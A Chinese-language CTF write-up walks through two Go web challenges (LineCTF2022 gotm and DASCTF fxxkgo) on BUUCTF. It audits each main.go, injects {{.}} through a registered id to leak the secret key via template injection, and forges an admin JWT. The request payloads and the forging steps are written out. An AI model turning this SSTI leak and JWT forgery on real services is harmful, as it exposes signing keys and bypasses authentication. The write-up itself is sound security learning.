[LineCTF2022]gotm复现
开题前自我的概述:
最近要出道go题(之前都没写过,只是听说过连go语言还没学过),于是找了个go ssti题来学学,到底go 题的流程是怎么样的
参考博客:[LineCTF2022]gotm | 北歌(北歌师傅)
复现平台:BUUCTF

下载好附件,我们开始代码审计

包含这些文件
其中
Dockerfile和run.sh还有go.sum,go.mod 是配置相关的文件
go代码审计主要审计的是main.go 文件
go代码审计
功能模块分析
这段 Go 代码的作用是导入声明表明
1 2 3 4 5 6 7 8 9 10 11 12
| package main
import ( "encoding/json" "fmt" "log" "net/http" "os" "text/template"
"github.com/golang-jwt/jwt" )
|
有个Account结构体,主要四个属性
1 2 3 4 5 6
| type Account struct { id string pw string is_admin bool secret_key string }
|
路由分析
有四个路由
1 2 3 4 5 6 7 8 9 10
| func main() { admin := Account{admin_id, admin_pw, true, secret_key} acc = append(acc, admin)
http.HandleFunc("/", root_handler) http.HandleFunc("/auth", auth_handler) http.HandleFunc("/flag", flag_handler) http.HandleFunc("/regist", regist_handler) log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil)) }
|
我们一个一个路由来审计
/路由
我们先来看”/“路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| func root_handler(w http.ResponseWriter, r *http.Request) { token := r.Header.Get("X-Token") if token != "" { id, _ := jwt_decode(token) acc := get_account(id) tpl, err := template.New("").Parse("Logged in as " + acc.id) if err != nil { } tpl.Execute(w, &acc) } else {
return } }
|
先获取Token,如果有Token则用jwt解密,如果解密成功则显示用户的id,如果没有token直接返回空白
/auth路由
然后审/auth
用户登录部分
结构体部分
1 2 3 4
| type TokenResp struct { Status bool `json:"status"` Token string `json:"token"` }
|
1 2 3 4 5
| uid := r.FormValue("id") upw := r.FormValue("pw") if uid == "" || upw == "" { return }
|
获取用户传入的id和pw
1 2 3 4 5 6 7 8 9 10 11 12 13
| user_acc := get_account(uid) if user_acc.id != "" && user_acc.pw == upw { token, err := jwt_encode(user_acc.id, user_acc.is_admin) if err != nil { return } p := TokenResp{true, token} res, err := json.Marshal(p) if err != nil { } w.Write(res) return }
|
理解并分析一下代码:
如果我们输入了正确的id和pw(get_account有匹配uid的正确结果),
返回一个TokenResp的对象(json形式),里面存储了状态status,和jwt token,内容是id和是否为admin
/flag路由
然后我们审计“/flag”路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| func flag_handler(w http.ResponseWriter, r *http.Request) { token := r.Header.Get("X-Token") if token != "" { id, is_admin := jwt_decode(token) if is_admin == true { p := Resp{true, "Hi " + id + ", flag is " + flag} res, err := json.Marshal(p) if err != nil { } w.Write(res) return } else { w.WriteHeader(http.StatusForbidden) return } } }
|
通过对传入的X-Token进行jwt解码,然后判断is_admin,如果为true就给flag
/regist路由
最后来看/regist路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| func regist_handler(w http.ResponseWriter, r *http.Request) { uid := r.FormValue("id") upw := r.FormValue("pw")
if uid == "" || upw == "" { return }
if get_account(uid).id != "" { w.WriteHeader(http.StatusForbidden) return } if len(acc) > 4 { clear_account() } new_acc := Account{uid, upw, false, secret_key} acc = append(acc, new_acc)
p := Resp{true, ""} res, err := json.Marshal(p) if err != nil { } w.Write(res) return }
|
1
| 由这条语句:Account{uid, upw, false, secret_key}
|
路由中默认给is_admin为false,所以我们要想办法给is_admin为true
由于jwt编码过程中需要用到secret_key作签名密钥,secret_key是环境变量,就需要通过SSTI漏洞把secret_key
代码审计分析到此结束
做题分析
现在我们要利用go ssti注入获取key然后伪造jwt
go ssti 参考:https://forum.butian.net/share/1286
1 2
| 先说一下go的ssti,和jinja2的ssti类似,都是因为直接渲染拼接的字符导致插入了模板语言后执行 Go 语言内置了 text/template 和 html/template 两个模板库。如果开发人员没有正确使用这些库,可能会导致 SSTI 注入。例如,如果使用 text/template 处理用户输入,并且未对输入进行转义,攻击者可以插入恶意模板代码。
|
这道题的ssti漏洞产生的位置在
http.HandleFunc(“/“, root_handler)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| func root_handler(w http.ResponseWriter, r *http.Request) { token := r.Header.Get("X-Token") if token != "" { id, _ := jwt_decode(token) #从jwt中解析出id属性 acc := get_account(id) #根据id,查找账户 tpl, err := template.New("").Parse("Logged in as " + acc.id) #acc.id存在SSTI if err != nil { } tpl.Execute(w, &acc) } else {
return } }
|
常规思路可以注入{{.}}或{{.secret_key}}来读secret_key属性,但此处由于root_handler()函数得到的acc是数组中的地址,也就是get_account函数通过在全局变量acc数组中查找我们的用户,这种情况下直接注入{{.secret_key}}会返回空,所以此处只能用{{.}}来返回全部属性
所以我们现在要去注册界面
访问我们在/regist页面进行注册
出现回显
1
| http://9aa8cdd8-b760-441f-8860-f4275dc92ec0.node5.buuoj.cn:81/regist?id={{.}}&pw=pass
|

注册完之后我们开始去登录
然后我们访问/auth进行登录,得到token
1
| http://9aa8cdd8-b760-441f-8860-f4275dc92ec0.node5.buuoj.cn:81/auth?id={{.}}&pw=pass
|

我们再回到最开始的页面,将token值传入X-Token头部,成功读到secret_key
1
| eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss
|
1
| http://9aa8cdd8-b760-441f-8860-f4275dc92ec0.node5.buuoj.cn:81
|

这样我们就得到了关键的secret_key
修改jwt
我们修改jwt,将is_admin修改为true. (jwt 加密解密网站jwt解密/加密 - bejson在线工具)

先把原来的jwt复制过来解码
之后我们再放入密钥,改变值为true
然后点击编码
复制jwt
再到/flag页面,将修改后的jwt传入token中
得到flag

总结:
go 类型的题目需要代码审计来理解
需要仔细分析每个路由的作用
jwt 加密解密需掌握
[2022DASCTF MAY 出题人挑战赛]fxxkgo复现
开题前的概述: 前面已经复现了一道go([LineCTF2022]gotm)题,看看这道题分析分析复现看看
(go ssti + jwt伪造)
复现平台:BUUCTF

下载好附件后,我们开始代码审计

有这些文件 .idea 里面是一些配置文件,Dockerfile 是部署文件,go.mod 和go sum 是项目依赖文件
我们主要是看main.go
go代码审计
main.go内容
功能模块分析
这段 Go 代码的作用是导入声明表明
1 2 3 4 5 6 7 8 9 10
| package main
import ( "encoding/json" "fmt" "github.com/gin-gonic/gin" "github.com/golang-jwt/jwt" "os" "text/template" )
|
1 2 3 4 5 6
| type Account struct { id string pw string is_admin bool secret_key string }
|
定义了 Account 结构体,有四个属性
路由分析
1 2 3 4 5 6 7 8 9 10 11 12
| func main() { admin := Account{admin_id, admin_pw, true, secret_key} acc = append(acc, admin) r := gin.Default() r.GET("/",index) r.POST("/", rootHandler) r.POST("/flag", flagHandler) r.POST("/auth", authHandler) r.POST("/register", Resist) r.Run(":80")
}
|
根据主函数我们可以得知它有5个路由
根目录的GET请求和POST请求进入的路由不相同,实现的功能也不同。这个题目其实就是按照路由走一遍然后就可以得到lag了,具体怎么走,看的懂go语言的兄弟可以思考一下,看不懂的我直接讲了,首先我们先去分析五个路由对应的函数实现了什么功能
一个一个来分析
/路由(GET)
1 2 3 4 5
| func index(c *gin.Context) { c.JSON(200,gin.H{ "msg": "Hello World", }) }
|
功能:进入之后输出json格式的信息
/路由(POST)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| func rootHandler(c *gin.Context) { token := c.GetHeader("X-Token") if token != "" { id, _ := jwt_decode(token) acc := get_account(id) tpl, err := template.New("").Parse("Logged in as " + acc.id) if err != nil { } tpl.Execute(c.Writer, &acc) return } else {
return } }
|
先获取Token,如果有Token则用jwt解密,如果解密成功则显示用户的id,如果没有token直接返回空白
flag路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| unc flagHandler(c *gin.Context) { token := c.GetHeader("X-Token") if token != "" { id, is_admin := jwt_decode(token) if is_admin == true { p := Resp{true, "Hi " + id + ", flag is " + flag} res, err := json.Marshal(p) if err != nil { } c.JSON(200, string(res)) return } else { c.JSON(403, gin.H{ "code": 403, "status": "error", }) return } } }
|
通过对传入的X-Token进行jwt解码,然后判断is_admin,如果为true就给flag
auth路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| func authHandler(c *gin.Context) { uid := c.PostForm("id") upw := c.PostForm("pw") if uid == "" || upw == "" { return } if len(acc) > 1024 { clear_account() } user_acc := get_account(uid) if user_acc.id != "" && user_acc.pw == upw { token, err := jwt_encode(user_acc.id, user_acc.is_admin) if err != nil { return } p := TokenResp{true, token} res, err := json.Marshal(p) if err != nil { } c.JSON(200, string(res)) return } c.JSON(403, gin.H{ "code": 403, "status": "error", }) return }
|
获取用户传入的id和pw,
理解并分析一下代码:
如果我们输入了正确的id和pw(get_account有匹配uid的正确结果),
返回一个TokenResp的对象(json形式),里面存储了状态status,和jwt token,内容是id和是否为admin
register 路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| func Resist(c *gin.Context){ uid := c.PostForm("id") upw := c.PostForm("pw") if uid == "" || upw == "" { return } if get_account(uid).id != "" { c.JSON(403, gin.H{ "code": 403, "status": "error", }) return } if len(acc) > 4 { clear_account() } new_acc := Account{uid, upw, false, secret_key} acc = append(acc, new_acc)
p := Resp{true, ""} res, err := json.Marshal(p) if err != nil { } c.JSON(200, string(res)) return } func index(c *gin.Context) { c.JSON(200,gin.H{ "msg": "Hello World",.0 }) }
|
Account{uid, upw, false, secret_key}
路由中默认给is_admin为false,所以我们要想办法给is_admin为true
由于jwt编码过程中需要用到secret_key作签名密钥,secret_key是环境变量,就需要通过SSTI漏洞把secret_key
代码审计分析到此结束
做题分析
现在我们要利用go ssti注入获取key然后伪造jwt
go ssti 参考:https://forum.butian.net/share/1286
1 2
| 先说一下go的ssti,和jinja2的ssti类似,都是因为直接渲染拼接的字符导致插入了模板语言后执行 Go 语言内置了 text/template 和 html/template 两个模板库。如果开发人员没有正确使用这些库,可能会导致 SSTI 注入。例如,如果使用 text/template 处理用户输入,并且未对输入进行转义,攻击者可以插入恶意模板代码。
|
这道题的ssti漏洞产生的位置在
r.POST(“/“, rootHandler)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| func rootHandler(c *gin.Context) { token := c.GetHeader("X-Token") if token != "" { id, _ := jwt_decode(token) acc := get_account(id) tpl, err := template.New("").Parse("Logged in as " + acc.id) if err != nil { } tpl.Execute(c.Writer, &acc) return } else {
return } }
|
常规思路可以注入{{.}}或{{.secret_key}}来读secret_key属性,但此处由于root_handler()函数得到的acc是数组中的地址,也就是get_account函数通过在全局变量acc数组中查找我们的用户,这种情况下直接注入{{.secret_key}}会返回空,所以此处只能用{{.}}来返回全部属性
所以我们现在要去注册界面
访问我们在/register页面进行注册
出现回显
1 2 3
| http://8d7710a9-008f-452c-80de-38d1aa7b90cb.node5.buuoj.cn:81/register POST: id={{.}}&pw=pass
|

注册完之后我们开始去登录
然后我们访问/auth进行登录,得到token
1 2 3
| http://8d7710a9-008f-452c-80de-38d1aa7b90cb.node5.buuoj.cn:81/auth POST: id={{.}}&pw=pass
|

我们再回到最开始的页面,将token值传入X-Token头部,成功读到secret_key
1
| eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.1c8I_PzGiyonSZe3UPM2AB94x07g6DeyJW6uYA2C7eo
|

这样我们就得到了关键的secret_key
修改jwt
我们修改jwt,将is_admin修改为true. (jwt 加密解密网站jwt解密/加密 - bejson在线工具)

先把原来的jwt复制过来解码
之后我们再放入密钥,改变值为true
然后点击编码
复制jwt
再到/flag路由页面,将修改后的jwt传入token中

总结:这道题和[LineCTF2022]gotm 高度相似,改了点代码(基本步骤都一样)
go语言代码审计得加强
jwt 加密解密基本掌握